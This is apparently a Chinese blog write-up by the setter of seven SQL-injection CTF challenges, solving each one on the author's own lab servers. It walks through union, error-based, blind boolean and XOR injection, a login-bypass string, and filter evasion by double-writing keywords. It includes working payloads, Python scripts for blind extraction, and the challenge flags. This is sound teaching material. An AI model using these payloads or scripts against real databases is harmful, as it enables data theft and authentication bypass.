SDUT-SQL题解

 

 

 

sql01:(GET-无任何过滤)http://49.234.136.46:32711/index01.php

首先题目提示要输入id,那就在url中加入?id=1得到:发现给了两个回显位

给出提示信息: flag in another table!(假装自己不是出题人,哈哈哈哈哈)

然后需要找出id的闭合方式:              ?id=1' (报错)                     ?id=1' %23(正常,  %23为 #   注释符,后面的语句被注释掉 )

当用单引号闭合时,发现有报错,确定id的闭合方式是 单引号

ok,现在得到的有用信息:  两个回显位         闭合方式为  单引号

可用的 注入方式:   联合查询       报错注入    …………

(一 )联合查询: 

先用 order by 测 数据库当前表的 字段数(列数):

?id=1' order by 2 %23     //正常
?id=1' order by 3 %23     // 报错

说明 有 2 个字段

爆库名:

?id=-1' union select 1,database() %23

得到数据库名: test_flag

爆表名:

?id=-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema = database() %23

得到两个表 : flag  和 users  (因为前面提示说 flag 在另一个表里面  那我们只用去 注入 flag 表就行了)

爆 字段:

?id=-1' union select 1,group_concat(column_name)from information_schema.columns where table_name = 'flag' %23

得到两个字段  id message

脱库:(0x7e  是十六进制的 ~  )

?id=-1' union select 1,group_concat(id,0x7e,message)from flag %23

 

得到 flag : flag{SDUT-HEIHEI-HAHA}

(二)报错注入:

常用的 两种简单的报错注入方式:

?id=1' and extractvalue(1,concat(0x7e,(payload))) %23


?id=1' and updatexml(1,concat(0x7e,(payload)),1) %23

这里用 第一种 做一个实例:

//爆库名
?id=1' and extractvalue(1,concat(0x7e,(database()))) %23


只需要将下面的语句放入   payload 位置就可以了


//爆表名
select group_concat(table_name) from information_schema.tables where table_schema = database()

//爆字段
select group_concat(column_name) from information_schema.columns where table_name = 'flag'


//脱库
select group_concat(id,0x3a,message) from flag


 

SQL2 : 单引号-GET型-报错注入        http://49.234.136.46:32711/ind02.php 

提示让输入 id,那就输入  ?id=1   依次输入 2,3,4,都是这个界面,没给回显位

测闭合方式: 注入               ?id=1' (报错)                     ?id=1' %23(正常,  %23为 #   注释符,后面的语句被注释掉 )

说明闭合方式是   单引号

那这题最适合的注入方式是  报错注入

报错注入:

常用的 两种简单的报错注入方式:

?id=1' and extractvalue(1,concat(0x7e,(payload))) %23


?id=1' and updatexml(1,concat(0x7e,(payload)),1) %23

 

爆库名:

?id=1' and extractvalue(1,concat(0x7e,(database()))) %23

爆表名:


?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()))) %23

得到两个表:sql2_flag   users

爆字段:
 

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'sql2_flag'))) %23


脱库:

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,0x7e,message) from sql2_flag ))) %23

这里发现 信息没有输出完  被截断了    这是因为  extractvalues()函数  和 updatexml ()这两个函数 最多能输出 32位字符

所以这里我们  不采用 group_concat() 函数 换用  concat()   +  limit  x,x  进行一行一行输出

//这里需要不断改变 limit x,1 进行换行


?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,message) from sql2_flag limit 0,1))) %23



?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,message) from sql2_flag limit 1,1))) %23


 

SQL3 : 单引号-GET型-布尔/延时注入-无过滤  

   http://49.234.136.46:32711/in03d.php

注入: ?id=1   

注入 ?id=1'  不会报错 ,  不能用 报错注入

注入    ?id=1' and '1' ='1'   %23

确定 闭合方式是   单引号闭合

肯定是用盲注  具体是用  延时注入  还是   布尔注入 取决于个人喜好

手工 注入可能得 注入一辈子

布尔注入的原理:具体自己去百度:

如果用 布尔注入的话 还是得

先 看 正确时  返回的页面内容长度     526

错误时    返回的页面内容长度     496

我们就利用这一点  去一个一个字符地爆破

比如:注入:

admin'and ascii(substr((database()),1,1))=117 #



//字母 u  的 ascii是 117

这里是截取  查询到的数据库名 的第一个字母  然后与   字符 'u' 对比  如果  数据库名的第一个字母是 u  

这句话就是 是正确的  就代表  username 是 正确的   返回的页面内容大小为 526

若 数据库名的第一个字母不是 u ,这个注入语句就是 flase   即  username是错误的 ,返回页面内容的大小为 496

 

直接上脚本:python3

import requests

result = ""
url_template = "http://49.234.136.46:32711/in03d.php?id=2' and ascii(substr(({0}),{1},1))>{2} %23"
chars = "-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz,.@&%/^!{}~"
url_length = "http://49.234.136.46:32711/in03d.php?id=2' and length(({0})) >{1} %23"

def get_result_length(payload,value):
    for n in range(1,100):
        url = url_length.format(payload,n)
        response = requests.get(url)
        length = len(response.text)
        if length < value:
            print("……data length is :" + str(n))
            return  n

def get_db_name(data_length,payload,value):
    for i in range(1,data_length):
        for char in chars:
            url = url_template.format(payload,i,ord(char))
            response = requests.get(url)
            length = len(response.text)
            if length<value:         #根据返回长度的不同来判断字符正确与否
                global result
                result += char
                print("…… data is :"+ result)
                break

#自定义 sql注入语句 payload   分割符 为0
payload = "select database() "
# 根据正确访问时错误访问时返回页面文本长度的不同 来设置一个判断值  正确时 返回字节长度是 526   错误时返回字节长度是 496
value = 510
data_length = get_result_length(payload,value)+1
get_db_name(data_length,payload,value)
print(result)

只需要改变 payload 语句就可以实现  爆库名 、表名、字段、脱库等操作

这里给出具体的payload:

//爆库名
select database()


只需要将下面的语句放入   payload 位置就可以了


//爆表名
select group_concat(table_name) from information_schema.tables where table_schema = database()

//爆字段
select group_concat(column_name) from information_schema.columns where table_name = 'SDUT_flag'


//脱库
select group_concat(username,password) from SDUT_flag
select concat(username,0x3a,password) from SDUT_flag  limit 3,1

数据库名:

最终得到 flag:flag{SDUT_hei-hei-hei}     

 

这里附上 我的另一篇博客的 连接 有兴趣的同学可以看看:(我好难啊! 自己出题,自己搭建服务,自己写题解,呜呜)

SQL 盲注GET /POST、布尔型,延时型Python脚本:

https://blog.csdn.net/vhkjhwbs/article/details/98960802

有不懂的可以联系我  qq:1571625800

再说一下  脚本中 的 value 是怎么找的:Firefox    中 按F12  ,然后在url中 注入        刷新

 

SQL4 : 单引号-GET型-过滤or和and-双写绕过      

   http://49.234.136.46:32711/i04dx.php

 

 

注入  ?id=1   给了一个回显位

注入 ?id=2'  有报错 可以用报错注入

注入  ?id=2'  and '1' ='1' %23   还是报错  ??? 不应该啊

仔细看看报错 发现  and 没了:应该是被过滤了

还过滤了啥呢??? 找找提示:

查看页面源代码:发现有一个提示:

是一个base 64 密文 在线解密后得到: 

Your 'and' and 'or' are filtered     说 and 和 or 被过滤了

ok ,用一下双写绕过,看可不可以,注入: ?id=1' anandd  '1' = '1'  %23   正常了

看来可以用 双写绕过   

不管是用 联合查询 还是用  报错注入,还是 盲注   在涉及到   and 和 or 这两个字符时需要双写

anandd

oorr

给出脱库的 payload:(特别注意在使用 information_schema 时  要双写成 infoorrmation_schema    ,passwoorrd)

 

在用联合查询时 要先测  用 order  by 字段数 (双写   oorrder  by)  这里测得字段数为  3,且回显位 在 1 号位

?id=-1' union select group_concat(username,0x7e,passwoorrd),2,3 from ctf %23


flag~flag{daye-lpl-RNG}

 

SQL5 : POST型-无过滤                     http://47.94.36.51:32710/index.php 

随便输入: admin   admin  没想到 登录成功  :有两个回显位,可以回显信息

输入别的  就会出现 usernname or password error!

首先 测  闭合方式:

//在username中注入:

admin'            //  usernname or password error!

admin' #          //登入


a' or '1' ='1' #    //万能密码   #会把 后面的password验证注释掉 所以不用填密码   

确定闭合方式为   单引号闭合

因为没有报错 所以不能用 报错注入

用联合查询 或者  盲注 都是 可以的

联合查询:

以下注入 都是 在username中注入的  ,password可以不填(因为已经被#注释掉了)


测 字段个数:说明有 2 个字段


admin' order by 2 #    // 正确


admin' order by 3 #    //错误

爆库名:

a' union select 1,database() #

 

爆表名

a' union select 1,group_concat(table_name)from information_schema.tables where table_schema = database() #

爆字段::
 

a' union select 1,group_concat(column_name)from information_schema.columns where table_schema = 'users' #

脱库:
 

a' union select 1,group_concat(username,0x3a,password) from users #

flag:flag{LH-quan-shi_jie_zui_shuai}

 

SQL6 : POST型-布尔/延时注入                      http://47.94.36.51:32711/index.php

随便输入   asss        和 sdfasd   提示  username error!

输入: admin   和  admin     提示password error ! (可知,有一个username 为 admin,页面源代码中给的 tip 也证实这一点, 其实这些题就是我出的,假装自己不是出题人系列  哈哈哈哈哈哈哈)

还是先测闭合方式: 

在username 中输入: 闭合方式为    单引号


admin'          //username error!

admin' #        //password error!

发现页面只会 输出 username error  和     password error

不会报错,也没有回显位 ,那只能用   盲注延时或者布尔了

知道了一个用户名为 admin  那爆出 admin的密码不就可以得到flag了嘛!

注入点  在 username

如果用 布尔注入的话 还是得

先 看 username正确时  返回的页面内容长度     2859

username  错误时    返回的页面内容长度     2829

我们就利用这一点  去一个一个字符地爆破

比如:注入:

admin'and ascii(substr((database()),1,1))=117 #



//字母 u  的 ascii是 117

这里是截取  查询到的数据库名 的第一个字母  然后与   字符 'u' 对比  如果  数据库名的第一个字母是 u  

这句话就是 是正确的  就代表  username 是 正确的   返回的页面内容大小为 2859

若 数据库名的第一个字母不是 u ,这个注入语句就是 flase   即  username是错误的 ,返回页面内容的大小为 2829

 

Firefox  中 按 F12  点网络 ,然后分别输入正确的username 和错误的username   

查看 响应包信息:

 

上代码:
 

import requests

chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
result = ""

def get_length(value):  #获取要查询的数据的长度
    for n in range(1,100):
        payload = "admin' and length(({0})) ={1} #".format(data_payload,n)
        data = {"uname":payload,"passwd":"admin"}
        html = requests.post(url,data=data)
        length = len(html.text)
        if length >value:
            print("……data length is :" + str(n))
            return  n

def get_data(data_length,value): #获取数据
    global result
    for i in range(1,data_length):
        for char in chars:
            payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char))
            data = {"uname":payload,"passwd":"admin"}
            html = requests.post(url,data=data)
            length = len(html.text)
            if length>value:         #根据返回长度的不同来判断字符正确与否
                result += char
                print("…… data is :"+ result)
                break


url = "http://47.94.36.51:32711/index.php"
data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()"
value = 2840     # 根据正确访问和错误访问时返回页面文本长度的不同 来设置一个判断值,这个值需要在浏览器中 按f12 查看

length = get_length(value) +1
get_data(length,value)
print(result)




表名:

改一下payload就可以 爆其他的信息:
脱库:

data_payload = "select password from users where username='admin'"

得到,密码:asdfasdfasdfsddd

输入 admin  和asdfasdfasdfsddd   得到flag:

是一段base 64 密文:ZmxhZ3tJJ20tc3VwZXJtYW59ICAgIAoKCg==

解密:flag{I'm-superman}    

 

有兴趣的话可以研究一下   延时的脚本 

可以参照我的另一篇博客:https://blog.csdn.net/vhkjhwbs/article/details/98960802

有不懂的可以联系我  qq:1571625800

 


SQL7 : POST型-几乎过滤所有字符-异或注入

         http://47.94.36.51:32710/lalala.html

这个题有点难度的,

输入 admin admin   提示 : password error!

输入 admin'   admin'   提示: username error!

输入 admin'   #       提示: Illegal character (这里不能确定到底谁是非法字符,需要进一步测试)

输入 admin'#           提示: password error!

通过以上 输入 知道了  有一个用户名为  admin 

                                     闭合方式为  单引号

                                     有部分字符被过滤了 (不知道到底有哪些字符被过滤了,怎么办???)

肯定先要测试 有哪些字符被过滤了啊!

首先看看有没有给提示:

在第一页的源代码里找到了这个提示:

说经常查看页面源代码是一个好习惯

那肯定有信息在 页面源代码里了,找找看:

在第二页的 页面源代码里找到了 一段base 64 密文:

如果你是用 burp suite做代理做本题的话 很容易就会发现 这个tip:

 

base 64 密文:

ICAgICRkYXRhPSBwcmVnX3JlcGxhY2UoJy9bK10vJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnL1ssXS8nLCIiLCAkZGF0YSk7CiAgICAkZGF0YT0gcHJlZ19yZXBsYWNlKCcvWyBdLycsIiIsICRkYXRhKTsJICAgIAogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnLyYvJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnLyUvJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnL3VuaW9uL2knLCIiLCAkZGF0YSk7CiAgICAkZGF0YT0gcHJlZ19yZXBsYWNlKCcvYW5kL2knLCIiLCAkZGF0YSk7ICAgIA==

解密:把下面的字符全过滤

    $data= preg_replace('/[+]/',"", $data);
    $data= preg_replace('/[,]/',"", $data);
    $data= preg_replace('/[ ]/',"", $data);	    
    $data= preg_replace('/&/',"", $data);
    $data= preg_replace('/%/',"", $data);
    $data= preg_replace('/union/i',"", $data);
    $data= preg_replace('/and/i',"", $data);    

过滤了  union  不能用 联合查询 

过滤了  逗号   srtsub()函数就不能按照常规用法

过滤了 空格 ,尽量避免用 空格,在需要用到空格的地方 就 用()代替

 

 上脚本:

import requests

url = "http://47.94.36.51:32710/xxxg.php"
char  = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
result = ''
for i in range(1,45):
    stop = 0
    for c in char:#两个payload的表达方式不同 都是可以用的 ,任选其一
        #payload = "admin'^(ascii(mid((select(password)from(users)where(username)='admin')from({})))<>{})^0#".format(str(i),ord(c))
        payload = "admin'^(ascii(substr((select(password)from(users)where(username)='admin')from({0})))<>{1})^0#".format(str(i),ord(c))
        data = {
            'username': payload,
            'password': '123'
        }
        html = requests.post(url, data=data)

        if 'password' in html.text:

            result +=c
            stop =1
            print(i)
            print("......" + result)
            break #匹配到值后内循环停止
    if stop == 0: #当内循环匹配不到值的时候外循环就停止
            print("\n"+result)
            break

得到admin的密码 : wotianxiawudi

登录后得到:

 

flag{SDUT-wonderful-sss}

如果有什么不懂可以联系我q 1571625800

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值